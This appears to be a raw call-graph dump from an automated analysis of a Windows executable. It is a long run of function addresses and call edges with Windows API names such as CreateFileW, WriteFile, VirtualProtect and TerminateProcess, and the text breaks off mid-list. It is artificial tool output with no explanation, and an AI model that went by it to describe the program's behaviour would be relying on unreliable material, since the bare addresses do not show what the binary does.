__fcloseall 82 API calls 85712->85718 85713 44b224 85714 44b253 85713->85714 85715 44b228 85713->85715 85742 43213d 85714->85742 85717 44b235 85715->85717 85720 414a46 __fcloseall 82 API calls 85715->85720 85716->85148 85721 44b245 85717->85721 85723 414a46 __fcloseall 82 API calls 85717->85723 85718->85716 85720->85717 85721->85148 85722 44b25a 85724 44b260 85722->85724 85725 44b289 85722->85725 85723->85721 85727 44b26d 85724->85727 85730 414a46 __fcloseall 82 API calls 85724->85730 85752 44b0bf 87 API calls 85725->85752 85728 44b27d 85727->85728 85731 414a46 __fcloseall 82 API calls 85727->85731 85728->85148 85729 44b28f 85753 4320f8 46 API calls _free 85729->85753 85730->85727 85731->85728 85733 44b295 85734 414a46 __fcloseall 82 API calls 85733->85734 85735 44b2a2 85733->85735 85734->85735 85736 414a46 __fcloseall 82 API calls 85735->85736 85737 44b2b2 85735->85737 85736->85737 85737->85148 85739 4321cb 85738->85739 85741 4321b4 __tzset_nolock _memmove 85738->85741 85740 414d04 __fread_nolock 61 API calls 85739->85740 85740->85741 85741->85713 85743 4135bb _malloc 46 API calls 85742->85743 85744 432150 85743->85744 85745 4135bb _malloc 46 API calls 85744->85745 85746 432162 85745->85746 85747 4135bb _malloc 46 API calls 85746->85747 85748 432174 85747->85748 85751 432189 85748->85751 85754 4320f8 46 API calls _free 85748->85754 85750 432198 85750->85722 85751->85722 85752->85729 85753->85733 85754->85750 85755->85051 85756->85053 85757->85071 85758->85071 85759->85071 85760->85065 85761->85071 85762->85071 85763->85076 85764->85085 85765->85086 85766->85086 85816 410160 85767->85816 85769 41012f GetFullPathNameW 85770 410147 ctype 85769->85770 85770->84907 85772 4102cb SHGetDesktopFolder 85771->85772 85775 410333 _wcsncpy 85771->85775 85773 4102e0 _wcsncpy 85772->85773 85772->85775 85774 41031c SHGetPathFromIDListW 85773->85774 85773->85775 85774->85775 85775->84910 85777 4101bb 85776->85777 85781 425f4a 85776->85781 85778 410160 52 API calls 85777->85778 85780 4101c7 85778->85780 85779 4114ab __wcsicoll 58 API calls 85779->85781 85820 410200 52 API calls 2 library calls 85780->85820 85781->85779 85784 425f6e 85781->85784 85783 4101d6 85821 410200 52 API calls 2 library calls 85783->85821 85784->84912 85786 4101e9 85786->84912 85788 40f760 126 API calls 85787->85788 85789 40f584 85788->85789 85790 429335 85789->85790 85791 40f58c 85789->85791 85794 4528bd 118 API calls 85790->85794 85792 40f598 85791->85792 85793 429358 85791->85793 85846 4033c0 113 API calls 7 library calls 85792->85846 85847 434034 86 API calls _wprintf 85793->85847 85795 42934b 85794->85795 85798 429373 85795->85798 85799 42934f 85795->85799 85803 4115d7 52 API calls 85798->85803 85802 431e58 82 API calls 85799->85802 85800 429369 85800->85798 85801 40f5b4 85801->84908 85802->85793 85815 4293c5 ctype 85803->85815 85804 42959c 85805 413748 _free 46 API calls 85804->85805 85806 4295a5 85805->85806 85807 431e58 82 API calls 85806->85807 85808 4295b1 85807->85808 85812 401b10 52 API calls 85812->85815 85815->85804 85815->85812 85822 444af8 85815->85822 85825 44b41c 85815->85825 85832 402780 85815->85832 85840 4022d0 85815->85840 85848 44c7dd 64 API calls 3 library calls 85815->85848 85817 410167 _wcslen 85816->85817 85818 4115d7 52 API calls 85817->85818 85819 41017e _wcscpy 85818->85819 85819->85769 85820->85783 85821->85786 85823 4115d7 52 API calls 85822->85823 85824 444b27 _memmove 85823->85824 85824->85815 85826 44b429 85825->85826 85827 4115d7 52 API calls 85826->85827 85828 44b440 85827->85828 85829 44b45e 85828->85829 85830 401b10 52 API calls 85828->85830 85829->85815 85831 44b453 85830->85831 85831->85815 85833 402827 85832->85833 85839 402790 ctype _memmove 85832->85839 85835 4115d7 52 API calls 85833->85835 85834 4115d7 52 API calls 85836 402797 85834->85836 85835->85839 85837 4115d7 52 API calls 85836->85837 85838 4027bd 85836->85838 85837->85838 85838->85815 85839->85834 85841 4022e0 85840->85841 85843 40239d 85840->85843 85842 4115d7 52 API calls 85841->85842 85841->85843 85845 402320 ctype 85841->85845 85842->85845 85843->85815 85844 4115d7 52 API calls 85844->85845 85845->85843 85845->85844 85846->85801 85847->85800 85848->85815 85850 402417 85849->85850 85851 402539 ctype 85849->85851 85850->85851 85852 4115d7 52 API calls 85850->85852 85851->84916 85853 402443 85852->85853 85854 4115d7 52 API calls 85853->85854 85855 4024b4 85854->85855 85855->85851 85857 4022d0 52 API calls 85855->85857 85878 402880 95 API calls 2 library calls 85855->85878 85857->85855 85862 401566 85858->85862 85859 401794 85879 40e9a0 90 API calls 85859->85879 85861 40167a 85865 4017c0 85861->85865 85880 45e737 90 API calls 3 library calls 85861->85880 85862->85859 85862->85861 85864 4010a0 52 API calls 85862->85864 85864->85862 85865->84918 85867 40bc70 52 API calls 85866->85867 85876 40d451 85867->85876 85868 40d50f 85883 410600 52 API calls 85868->85883 85870 427c01 85884 45e737 90 API calls 3 library calls 85870->85884 85871 40e0a0 52 API calls 85871->85876 85873 40d519 85873->84921 85874 401b10 52 API calls 85874->85876 85876->85868 85876->85870 85876->85871 85876->85873 85876->85874 85881 40f310 53 API calls 85876->85881 85882 40d860 91 API calls 85876->85882 85878->85855 85879->85861 85880->85865 85881->85876 85882->85876 85883->85873 85884->85873 85885->84934 85886->84935 85888 42c5fe 85887->85888 85903 4091c6 85887->85903 85889 40bc70 52 API calls 85888->85889 85888->85903 85890 42c64e InterlockedIncrement 85889->85890 85891 42c665 85890->85891 85896 42c697 85890->85896 85893 42c672 InterlockedDecrement Sleep InterlockedIncrement 85891->85893 85891->85896 85892 42c737 InterlockedDecrement 85894 42c74a 85892->85894 85893->85891 85893->85896 85897 408f40 VariantClear 85894->85897 85895 42c731 85895->85892 85896->85892 85896->85895 86171 408e80 85896->86171 85899 42c752 85897->85899 86180 410c60 VariantClear ctype 85899->86180 85903->84994 85904 42c6db 85905 402160 52 API calls 85904->85905 85906 42c6e5 85905->85906 86176 45340c 85 API calls 85906->86176 85908 42c6f1 86177 40d200 52 API calls 2 library calls 85908->86177 85910 42c6fb 86178 465124 53 API calls 85910->86178 85912 42c715 85913 42c76a 85912->85913 85914 42c719 85912->85914 85915 401b10 52 API calls 85913->85915 86179 46fe32 VariantClear 85914->86179 85917 42c77e 85915->85917 85918 401980 53 API calls 85917->85918 85924 42c796 85918->85924 85919 42c812 86182 46fe32 VariantClear 85919->86182 85921 42c82a InterlockedDecrement 86183 46ff07 54 API calls 85921->86183 85923 42c864 86184 45e737 90 API calls 3 library calls 85923->86184 85924->85919 85924->85923 86181 40ba10 52 API calls 2 library calls 85924->86181 85926 42c9ec 86227 47d33e 331 API calls 85926->86227 85929 42c9fe 86228 46feb1 VariantClear VariantClear 85929->86228 85931 401980 53 API calls 85941 42c849 85931->85941 85932 42ca08 85934 401b10 52 API calls 85932->85934 85933 408f40 VariantClear 85933->85941 85937 42ca15 85934->85937 85935 408f40 VariantClear 85938 42c891 85935->85938 85936 402780 52 API calls 85936->85941 85939 40c2c0 52 API calls 85937->85939 86185 410c60 VariantClear ctype 85938->86185 85943 42c874 85939->85943 85941->85926 85941->85931 85941->85933 85941->85936 86186 40a780 85941->86186 85943->85935 85944 42ca59 85943->85944 85944->85944 85946 40afc4 85945->85946 85947 40b156 85945->85947 85948 40afd5 85946->85948 85949 42d1e3 85946->85949 86238 45e737 90 API calls 3 library calls 85947->86238 85952 40a780 194 API calls 85948->85952 85968 40b11a ctype 85948->85968 86239 45e737 90 API calls 3 library calls 85949->86239 85955 40b00a 85952->85955 85953 42d1f8 85958 408f40 VariantClear 85953->85958 85954 40b143 85954->84994 85955->85953 85959 40b012 85955->85959 85957 42d4db 85957->85957 85958->85954 85960 40b04a 85959->85960 85961 40b094 ctype 85959->85961 85962 42d231 VariantClear 85959->85962 85970 40b05c ctype 85960->85970 86240 40e270 VariantClear ctype 85960->86240 85963 40b108 85961->85963 85965 42d425 ctype 85961->85965 85962->85970 85963->85968 86241 40e270 VariantClear ctype 85963->86241 85964 42d45a VariantClear 85964->85968 85965->85964 85965->85968 85967 4115d7 52 API calls 85967->85961 85968->85954 86242 45e737 90 API calls 3 library calls 85968->86242 85970->85961 85970->85967 85972 408fff 85971->85972 85984 40900d 85971->85984 86243 403ea0 52 API calls __cinit 85972->86243 85975 42c3f6 86246 45e737 90 API calls 3 library calls 85975->86246 85977 40a780 194 API calls 85977->85984 85978 42c44a 86248 45e737 90 API calls 3 library calls 85978->86248 85979 42c47b 86249 451b42 61 API calls 85979->86249 85982 42c564 85988 408f40 VariantClear 85982->85988 85984->85975 85984->85977 85984->85978 85984->85979 85984->85982 85985 42c4cb 85984->85985 85987 42c548 85984->85987 85991 409112 85984->85991 85992 4090f2 ctype 85984->85992 85994 4090df 85984->85994 85996 42c528 85984->85996 85998 4090ea 85984->85998 86245 4534e3 52 API calls 85984->86245 86247 40c4e0 194 API calls 85984->86247 86251 47faae 233 API calls 85985->86251 86254 45e737 90 API calls 3 library calls 85987->86254 85988->85992 85989 42c491 85989->85992 86250 45e737 90 API calls 3 library calls 85989->86250 85990 42c4da 85990->85992 86252 45e737 90 API calls 3 library calls 85990->86252 85991->85987 86001 40912b 85991->86001 85992->84994 85994->85998 85999 408e80 VariantClear 85994->85999 86253 45e737 90 API calls 3 library calls 85996->86253 86002 408f40 VariantClear 85998->86002 85999->85998 86001->85992 86244 403e10 53 API calls 86001->86244 86002->85992 86004 40914b 86005 408f40 VariantClear 86004->86005 86005->85992 86255 408d90 86006->86255 86008 429778 86283 410c60 VariantClear ctype 86008->86283 86010 429780 86011 408cf9 86011->86008 86012 42976c 86011->86012 86014 408d2d 86011->86014 86282 45e737 90 API calls 3 library calls 86012->86282 86271 403d10 86014->86271 86017 408d45 ctype 86018 408d71 ctype 86017->86018 86019 408f40 VariantClear 86017->86019 86018->84994 86019->86017 86021 4096c6 _wcslen 86020->86021 86022 4115d7 52 API calls 86021->86022 86084 40a70c ctype _memmove 86021->86084 86023 4096fa _memmove 86022->86023 86025 4115d7 52 API calls 86023->86025 86024 4013a0 52 API calls 86026 4297aa 86024->86026 86027 40971b 86025->86027 86028 4115d7 52 API calls 86026->86028 86029 409749 CharUpperBuffW 86027->86029 86031 40976a ctype 86027->86031 86027->86084 86071 4297d1 _memmove 86028->86071 86029->86031 86080 4097e5 ctype 86031->86080 86558 47dcbb 196 API calls 86031->86558 86033 408f40 VariantClear 86034 42ae92 86033->86034 86585 410c60 VariantClear ctype 86034->86585 86036 42aea4 86037 409aa2 86039 4115d7 52 API calls 86037->86039 86044 409afe 86037->86044 86037->86071 86038 40a689 86041 4115d7 52 API calls 86038->86041 86039->86044 86040 4115d7 52 API calls 86040->86080 86058 40a6af ctype _memmove 86041->86058 86042 409b2a 86046 429dbe 86042->86046 86107 409b4d ctype _memmove 86042->86107 86566 40b400 VariantClear VariantClear ctype 86042->86566 86043 40c2c0 52 API calls 86043->86080 86044->86042 86045 4115d7 52 API calls 86044->86045 86047 429d31 86045->86047 86051 429dd3 86046->86051 86567 40b400 VariantClear VariantClear ctype 86046->86567 86050 429d42 86047->86050 86563 44a801 52 API calls 86047->86563 86048 409fd2 86056 40a045 86048->86056 86106 42a3f5 86048->86106 86062 40e0a0 52 API calls 86050->86062 86051->86107 86568 40e1c0 VariantClear ctype 86051->86568 86052 429a46 VariantClear 86052->86080 86053 408f40 VariantClear 86053->86080 86060 4115d7 52 API calls 86056->86060 86066 4115d7 52 API calls 86058->86066 86067 40a04c 86060->86067 86068 429d57 86062->86068 86064 42a42f 86572 45e737 90 API calls 3 library calls 86064->86572 86066->86084 86069 40a0a7 86067->86069 86073 4091e0 317 API calls 86067->86073 86564 453443 52 API calls 86068->86564 86091 40a0af 86069->86091 86573 40c790 VariantClear ctype 86069->86573 86070 4299d9 86074 408f40 VariantClear 86070->86074 86584 45e737 90 API calls 3 library calls 86071->86584 86073->86069 86079 4299e2 86074->86079 86075 429abd 86075->84994 86076 429d88 86565 453443 52 API calls 86076->86565 86560 410c60 VariantClear ctype 86079->86560 86080->86037 86080->86038 86080->86040 86080->86043 86080->86052 86080->86053 86080->86058 86080->86070 86080->86071 86080->86075 86082 42a452 86080->86082 86086 40a780 194 API calls 86080->86086 86559 40c4e0 194 API calls 86080->86559 86561 40ba10 52 API calls 2 library calls 86080->86561 86562 40e270 VariantClear ctype 86080->86562 86082->86033 86084->86024 86086->86080 86087 402780 52 API calls 86087->86107 86089 408f40 VariantClear 86121 40a162 ctype _memmove 86089->86121 86090 41130a 51 API calls __cinit 86090->86107 86092 40a11b 86091->86092 86093 42a4b4 VariantClear 86091->86093 86091->86121 86100 40a12d ctype 86092->86100 86574 40e270 VariantClear ctype 86092->86574 86093->86100 86094 40a780 194 API calls 86094->86107 86095 4115d7 52 API calls 86095->86107 86097 401980 53 API calls 86097->86107 86098 408e80 VariantClear 86098->86107 86099 4115d7 52 API calls 86099->86121 86100->86099 86100->86121 86101 408e80 VariantClear 86101->86121 86103 44a801 52 API calls 86103->86107 86104 42a74d VariantClear 86104->86121 86105 40a368 86108 42aad4 86105->86108 86115 40a397 86105->86115 86571 47390f VariantClear 86106->86571 86107->86048 86107->86064 86107->86084 86107->86087 86107->86090 86107->86094 86107->86095 86107->86097 86107->86098 86107->86103 86107->86106 86112 409c95 86107->86112 86569 45f508 52 API calls 86107->86569 86570 403e10 53 API calls 86107->86570 86577 46fe90 VariantClear VariantClear ctype 86108->86577 86109 42a7e4 VariantClear 86109->86121 86110 42a886 VariantClear 86110->86121 86112->84994 86113 40a3ce 86125 40a3d9 ctype 86113->86125 86578 40b400 VariantClear VariantClear ctype 86113->86578 86114 40e270 VariantClear 86114->86121 86115->86113 86140 40a42c ctype 86115->86140 86557 40b400 VariantClear VariantClear ctype 86115->86557 86118 4115d7 52 API calls 86118->86121 86119 42abaf 86124 42abd4 VariantClear 86119->86124 86133 40a4ee ctype 86119->86133 86120 4115d7 52 API calls 86123 42a5a6 VariantInit VariantCopy 86120->86123 86121->86089 86121->86101 86121->86104 86121->86105 86121->86108 86121->86109 86121->86110 86121->86114 86121->86118 86121->86120 86575 470870 52 API calls 86121->86575 86576 44ccf1 VariantClear ctype 86121->86576 86122 40a4dc 86122->86133 86580 40e270 VariantClear ctype 86122->86580 86123->86121 86127 42a5c6 VariantClear 86123->86127 86124->86133 86126 40a41a 86125->86126 86132 42ab44 VariantClear 86125->86132 86125->86140 86126->86140 86579 40e270 VariantClear ctype 86126->86579 86127->86121 86128 42ac4f 86134 42ac79 VariantClear 86128->86134 86138 40a546 ctype 86128->86138 86131 40a534 86131->86138 86581 40e270 VariantClear ctype 86131->86581 86132->86140 86133->86128 86133->86131 86134->86138 86135 42ad28 86141 42ad4e VariantClear 86135->86141 86146 40a583 ctype 86135->86146 86138->86135 86139 40a571 86138->86139 86139->86146 86582 40e270 VariantClear ctype 86139->86582 86140->86119 86140->86122 86141->86146 86143 40a650 ctype 86143->84994 86144 42ae0e VariantClear 86144->86146 86146->86143 86146->86144 86583 40e270 VariantClear ctype 86146->86583 86147->84994 86148->84994 86149->84994 86150->84945 86151->84950 86152->84994 86153->84994 86154->84994 86155->84994 86156->84995 86157->84995 86158->84995 86159->84995 86160->84995 86161->84995 86162->84995 86164 403cdf 86163->86164 86165 408f40 VariantClear 86164->86165 86166 403ce7 86165->86166 86166->84989 86167->84995 86168->84995 86169->84994 86170->84942 86172 408e88 86171->86172 86174 408e94 86171->86174 86173 408f40 VariantClear 86172->86173 86173->86174 86175 45340c 85 API calls 86174->86175 86175->85904 86176->85908 86177->85910 86178->85912 86179->85895 86180->85903 86181->85924 86182->85921 86183->85941 86184->85943 86185->85903 86187 40a7a6 86186->86187 86188 40ae8c 86186->86188 86190 4115d7 52 API calls 86187->86190 86229 41130a 51 API calls __cinit 86188->86229 86209 40a7c6 ctype _memmove 86190->86209 86191 40a86d 86193 40abd1 86191->86193 86212 40a878 ctype 86191->86212 86192 408e80 VariantClear 86192->86209 86234 45e737 90 API calls 3 library calls 86193->86234 86194 4115d7 52 API calls 86194->86209 86196 40bc10 53 API calls 86196->86209 86197 401b10 52 API calls 86197->86209 86198 42b791 VariantClear 86198->86209 86199 40b5f0 89 API calls 86199->86209 86200 42ba2d VariantClear 86200->86209 86201 408f40 VariantClear 86201->86212 86202 42b459 VariantClear 86202->86209 86203 40a884 ctype 86203->85941 86205 408cc0 187 API calls 86205->86209 86206 42b6f6 VariantClear 86206->86209 86207 4530c9 VariantClear 86207->86209 86208 42bc5b 86208->85941 86209->86191 86209->86192 86209->86193 86209->86194 86209->86196 86209->86197 86209->86198 86209->86199 86209->86200 86209->86202 86209->86205 86209->86206 86209->86207 86210 42bbf5 86209->86210 86211 42bb6a 86209->86211 86213 40e270 VariantClear 86209->86213 86214 4115d7 52 API calls 86209->86214 86218 408f40 VariantClear 86209->86218 86222 42bc37 86209->86222 86230 45308a 53 API calls 86209->86230 86231 470870 52 API calls 86209->86231 86232 457f66 87 API calls __write_nolock 86209->86232 86233 472f47 127 API calls 86209->86233 86235 45e737 90 API calls 3 library calls 86210->86235 86237 44b92d VariantClear 86211->86237 86212->86201 86212->86203 86213->86209 86216 42b5b3 VariantInit VariantCopy 86214->86216 86216->86209 86219 42b5d7 VariantClear 86216->86219 86218->86209 86219->86209 86236 45e737 90 API calls 3 library calls 86222->86236 86225 42bc48 86225->86211 86226 408f40 VariantClear 86225->86226 86226->86211 86227->85929 86228->85932 86229->86209 86230->86209 86231->86209 86232->86209 86233->86209 86234->86211 86235->86211 86236->86225 86237->86208 86238->85949 86239->85953 86240->85970 86241->85968 86242->85957 86243->85984 86244->86004 86245->85984 86246->85992 86247->85984 86248->85992 86249->85989 86250->85992 86251->85990 86252->85992 86253->85992 86254->85982 86256 4289d2 86255->86256 86257 408db3 86255->86257 86286 45e737 90 API calls 3 library calls 86256->86286 86284 40bec0 90 API calls 86257->86284 86260 4289e5 86287 45e737 90 API calls 3 library calls 86260->86287 86262 428a05 86264 408f40 VariantClear 86262->86264 86270 408e5a 86264->86270 86265 40a780 194 API calls 86268 408dc9 86265->86268 86266 408e64 86267 408f40 VariantClear 86266->86267 86267->86270 86268->86260 86268->86262 86268->86265 86268->86266 86269 408f40 VariantClear 86268->86269 86268->86270 86285 40ba10 52 API calls 2 library calls 86268->86285 86269->86268 86270->86011 86272 408f40 VariantClear 86271->86272 86273 403d20 86272->86273 86274 403cd0 VariantClear 86273->86274 86275 403d4d 86274->86275 86277 4013c0 52 API calls 86275->86277 86288 46e91c 86275->86288 86291 467897 86275->86291 86335 45e17d 86275->86335 86345 4755ad 86275->86345 86276 403d76 86276->86008 86276->86017 86277->86276 86282->86008 86283->86010 86284->86268 86285->86268 86286->86260 86287->86262 86348 46e785 86288->86348 86290 46e92f 86290->86276 86292 4678bb 86291->86292 86324 467954 86292->86324 86450 45340c 85 API calls 86292->86450 86293 4115d7 52 API calls 86294 467989 86293->86294 86296 467995 86294->86296 86454 40da60 53 API calls 86294->86454 86300 4533eb 85 API calls 86296->86300 86297 4678f6 86299 413a0e __wsplitpath 46 API calls 86297->86299 86301 4678fc 86299->86301 86302 4679b7 86300->86302 86303 401b10 52 API calls 86301->86303 86304 40de40 60 API calls 86302->86304 86305 46790c 86303->86305 86306 4679c3 86304->86306 86451 40d200 52 API calls 2 library calls 86305->86451 86308 4679c7 GetLastError 86306->86308 86309 467a05 86306->86309 86311 403cd0 VariantClear 86308->86311 86313 467a2c 86309->86313 86314 467a4b 86309->86314 86310 467917 86310->86324 86452 4339fa GetFileAttributesW FindFirstFileW FindClose 86310->86452 86315 4679dc 86311->86315 86319 4115d7 52 API calls 86313->86319 86316 4115d7 52 API calls 86314->86316 86317 4679e6 86315->86317 86321 44ae3e CloseHandle 86315->86321 86320 467a49 86316->86320 86323 408f40 VariantClear 86317->86323 86318 467928 86322 46792f 86318->86322 86318->86324 86326 467a31 86319->86326 86330 408f40 VariantClear 86320->86330 86321->86317 86453 4335cd 56 API calls 3 library calls 86322->86453 86328 4679ed 86323->86328 86324->86293 86325 467964 86324->86325 86325->86276 86455 436299 52 API calls 2 library calls 86326->86455 86328->86276 86332 467a88 86330->86332 86331 467939 86331->86324 86333 408f40 VariantClear 86331->86333 86332->86276 86334 467947 86333->86334 86334->86324 86336 45e198 86335->86336 86337 45e19c 86336->86337 86338 45e1b8 86336->86338 86339 408f40 VariantClear 86337->86339 86340 45e1cc 86338->86340 86341 45e1db FindClose 86338->86341 86342 45e1a4 86339->86342 86343 45e1d9 ctype 86340->86343 86344 44ae3e CloseHandle 86340->86344 86341->86343 86342->86276 86343->86276 86344->86343 86456 475077 86345->86456 86347 4755c0 86347->86276 86349 46e7a2 86348->86349 86350 4115d7 52 API calls 86349->86350 86353 46e802 86349->86353 86351 46e7ad 86350->86351 86352 46e7b9 86351->86352 86396 40da60 53 API calls 86351->86396 86397 4533eb 86352->86397 86354 46e7e5 86353->86354 86361 46e82f 86353->86361 86355 408f40 VariantClear 86354->86355 86358 46e7ea 86355->86358 86358->86290 86360 46e8b5 86389 4680ed 86360->86389 86361->86360 86363 46e845 86361->86363 86366 4533eb 85 API calls 86363->86366 86376 46e84b 86366->86376 86367 46e7db 86367->86354 86413 44ae3e 86367->86413 86368 46e8bb 86393 443fbe 86368->86393 86369 46e87a 86416 4689f4 59 API calls 86369->86416 86372 46e883 86375 4013c0 52 API calls 86372->86375 86377 46e88f 86375->86377 86376->86369 86376->86372 86379 40e0a0 52 API calls 86377->86379 86378 408f40 VariantClear 86387 46e881 86378->86387 86380 46e899 86379->86380 86417 40d200 52 API calls 2 library calls 86380->86417 86382 46e911 86382->86290 86383 46e8a5 86418 4689f4 59 API calls 86383->86418 86386 46e903 86388 44ae3e CloseHandle 86386->86388 86387->86382 86419 40da20 86387->86419 86388->86382 86390 468100 86389->86390 86391 4680fa 86389->86391 86390->86368 86423 467ac4 55 API calls 2 library calls 86391->86423 86424 443e36 86393->86424 86395 443fd3 86395->86378 86395->86387 86396->86352 86398 453404 86397->86398 86399 4533f8 86397->86399 86401 40de40 86398->86401 86399->86398 86431 4531b1 85 API calls 5 library calls 86399->86431 86402 40da20 CloseHandle 86401->86402 86403 40de4e 86402->86403 86432 40f110 86403->86432 86406 4264fa 86408 40de84 86441 40e080 SetFilePointerEx SetFilePointerEx 86408->86441 86410 40de8b 86442 40f160 SetFilePointerEx SetFilePointerEx WriteFile 86410->86442 86412 40de90 86412->86361 86412->86367 86414 44ae4b ctype 86413->86414 86444 443fdf 86413->86444 86414->86354 86416->86387 86417->86383 86418->86387 86420 40da37 86419->86420 86421 40da29 86419->86421 86420->86421 86422 40da3c CloseHandle 86420->86422 86421->86386 86422->86386 86423->86390 86427 443e19 86424->86427 86428 443e26 86427->86428 86429 443e32 WriteFile 86427->86429 86430 443db4 SetFilePointerEx SetFilePointerEx 86428->86430 86429->86395 86430->86429 86431->86398 86433 40f125 CreateFileW 86432->86433 86434 42630c 86432->86434 86435 40de74 86433->86435 86434->86435 86436 426311 CreateFileW 86434->86436 86435->86406 86440 40dea0 55 API calls ctype 86435->86440 86436->86435 86437 426337 86436->86437 86443 40df90 SetFilePointerEx SetFilePointerEx 86437->86443 86439 426342 86439->86435 86440->86408 86441->86410 86442->86412 86443->86439 86445 40da20 CloseHandle 86444->86445 86446 443feb 86445->86446 86449 4340db CloseHandle ctype 86446->86449 86448 444001 86448->86414 86449->86448 86450->86297 86451->86310 86452->86318 86453->86331 86454->86296 86455->86320 86457 4533eb 85 API calls 86456->86457 86458 4750b8 86457->86458 86459 4750ee 86458->86459 86460 475129 86458->86460 86462 408f40 VariantClear 86459->86462 86509 4646e0 86460->86509 86467 4750f5 86462->86467 86463 47515e 86464 475162 86463->86464 86502 47518e 86463->86502 86465 408f40 VariantClear 86464->86465 86496 475169 86465->86496 86466 475357 86468 475365 86466->86468 86469 4754ea 86466->86469 86467->86347 86543 44b3ac 57 API calls 86468->86543 86549 464812 92 API calls 86469->86549 86473 4754fc 86474 475374 86473->86474 86476 475508 86473->86476 86522 430d31 86474->86522 86475 4533eb 85 API calls 86475->86502 86477 408f40 VariantClear 86476->86477 86480 47550f 86477->86480 86480->86496 86481 475388 86529 4577e9 86481->86529 86483 47539e 86537 410cfc 86483->86537 86484 475480 86486 408f40 VariantClear 86484->86486 86486->86496 86488 4753d4 86545 40e830 53 API calls 86488->86545 86489 4753b8 86544 45e737 90 API calls 3 library calls 86489->86544 86492 4753c5 GetCurrentProcess TerminateProcess 86492->86488 86493 4753e3 86507 475406 86493->86507 86546 40cf00 53 API calls 86493->86546 86494 4754b5 86495 408f40 VariantClear 86494->86495 86495->86496 86496->86347 86498 475556 86498->86496 86503 47556e FreeLibrary 86498->86503 86499 4753f8 86547 46c43e 106 API calls 2 library calls 86499->86547 86502->86466 86502->86475 86502->86484 86502->86494 86502->86502 86541 436299 52 API calls 2 library calls 86502->86541 86542 463ad5 64 API calls __wcsicoll 86502->86542 86503->86496 86505 408e80 VariantClear 86505->86507 86507->86498 86507->86505 86508 408f40 VariantClear 86507->86508 86548 40cf00 53 API calls 86507->86548 86550 44b3ac 57 API calls 86507->86550 86551 46c43e 106 API calls 2 library calls 86507->86551 86508->86507 86552 4536f7 53 API calls 86509->86552 86511 4646fc 86553 4426cd 59 API calls _wcslen 86511->86553 86513 464711 86515 40bc70 52 API calls 86513->86515 86521 46474b 86513->86521 86516 46472c 86515->86516 86554 461465 52 API calls _memmove 86516->86554 86518 464741 86519 40c600 52 API calls 86518->86519 86519->86521 86520 464793 86520->86463 86521->86520 86555 463ad5 64 API calls __wcsicoll 86521->86555 86523 430db2 86522->86523 86524 430d54 86522->86524 86523->86481 86525 4115d7 52 API calls 86524->86525 86528 430d74 86525->86528 86526 430da9 86526->86481 86527 4115d7 52 API calls 86527->86528 86528->86526 86528->86527 86530 457a84 86529->86530 86536 45780c _strcat _wcslen _wcscpy ctype 86529->86536 86530->86483 86531 45340c 85 API calls 86531->86536 86532 443006 57 API calls 86532->86536 86534 4135bb 46 API calls _malloc 86534->86536 86535 40f6f0 54 API calls 86535->86536 86536->86530 86536->86531 86536->86532 86536->86534 86536->86535 86556 44b3ac 57 API calls 86536->86556 86539 410d11 86537->86539 86538 410da9 VirtualProtect 86540 410d77 86538->86540 86539->86538 86539->86540 86540->86488 86540->86489 86541->86502 86542->86502 86543->86474 86544->86492 86545->86493 86546->86499 86547->86507 86548->86507 86549->86473 86550->86507 86551->86507 86552->86511 86553->86513 86554->86518 86555->86520 86556->86536 86557->86113 86558->86031 86559->86080 86560->86143 86561->86080 86562->86080 86563->86050 86564->86076 86565->86042 86566->86046 86567->86051 86568->86107 86569->86107 86570->86107 86571->86064 86572->86082 86573->86069 86574->86100 86575->86121 86576->86121 86577->86113 86578->86125 86579->86140 86580->86133 86581->86138 86582->86146 86583->86146 86584->86082 86585->86036 86586 42d154 86590 480a8d 86586->86590 86588 42d161 86589 480a8d 194 API calls 86588->86589 86589->86588 86591 480ae4 86590->86591 86592 480b26 86590->86592 86594 480aeb 86591->86594 86595 480b15 86591->86595 86593 40bc70 52 API calls 86592->86593 86613 480b2e 86593->86613 86597 480aee 86594->86597 86598 480b04 86594->86598 86623 4805bf 194 API calls 86595->86623 86597->86592 86600 480af3 86597->86600 86622 47fea2 194 API calls __itow_s 86598->86622 86621 47f135 194 API calls 86600->86621 86601 40e0a0 52 API calls 86601->86613 86604 408f40 VariantClear 86606 481156 86604->86606 86605 480aff 86605->86604 86608 408f40 VariantClear 86606->86608 86607 40c2c0 52 API calls 86607->86613 86609 48115e 86608->86609 86609->86588 86610 40e710 53 API calls 86610->86613 86611 401980 53 API calls 86611->86613 86613->86601 86613->86605 86613->86607 86613->86610 86613->86611 86614 40a780 194 API calls 86613->86614 86616 408e80 VariantClear 86613->86616 86619 480ff5 86613->86619 86624 45377f 52 API calls 86613->86624 86625 45e951 53 API calls 86613->86625 86626 40e830 53 API calls 86613->86626 86627 47925f 53 API calls 86613->86627 86628 47fcff 194 API calls 86613->86628 86614->86613 86616->86613 86629 45e737 90 API calls 3 library calls 86619->86629 86621->86605 86622->86605 86623->86605 86624->86613 86625->86613 86626->86613 86627->86613 86628->86613 86629->86605 86630 42b14b 86637 40bc10 86630->86637 86632 42b159 86633 4096a0 331 API calls 86632->86633 86634 42b177 86633->86634 86648 44b92d VariantClear 86634->86648 86636 42bc5b 86638 40bc24 86637->86638 86639 40bc17 86637->86639 86641 40bc2a 86638->86641 86642 40bc3c 86638->86642 86640 408e80 VariantClear 86639->86640 86643 40bc1f 86640->86643 86644 408e80 VariantClear 86641->86644 86645 4115d7 52 API calls 86642->86645 86643->86632 86646 40bc33 86644->86646 86647 40bc43 86645->86647 86646->86632 86647->86632 86648->86636 86649 425b2b 86654 40f000 86649->86654 86653 425b3a 86655 4115d7 52 API calls 86654->86655 86656 40f007 86655->86656 86657 4276ea 86656->86657 86663 40f030 86656->86663 86662 41130a 51 API calls __cinit 86662->86653 86664 40f039 86663->86664 86665 40f01a 86663->86665 86693 41130a 51 API calls __cinit 86664->86693 86667 40e500 86665->86667 86668 40bc70 52 API calls 86667->86668 86669 40e515 GetVersionExW 86668->86669 86670 402160 52 API calls 86669->86670 86671 40e557 86670->86671 86694 40e660 86671->86694 86677 427674 86681 4276c6 GetSystemInfo 86677->86681 86679 40e5e0 86683 4276d5 GetSystemInfo 86679->86683 86708 40efd0 86679->86708 86680 40e5cd GetCurrentProcess 86715 40ef20 LoadLibraryA GetProcAddress 86680->86715 86681->86683 86686 40e629 86712 40ef90 86686->86712 86689 40e641 FreeLibrary 86690 40e644 86689->86690 86691 40e653 FreeLibrary 86690->86691 86692 40e656 86690->86692 86691->86692 86692->86662 86693->86665 86695 40e667 86694->86695 86696 42761d 86695->86696 86697 40c600 52 API calls 86695->86697 86698 40e55c 86697->86698 86699 40e680 86698->86699 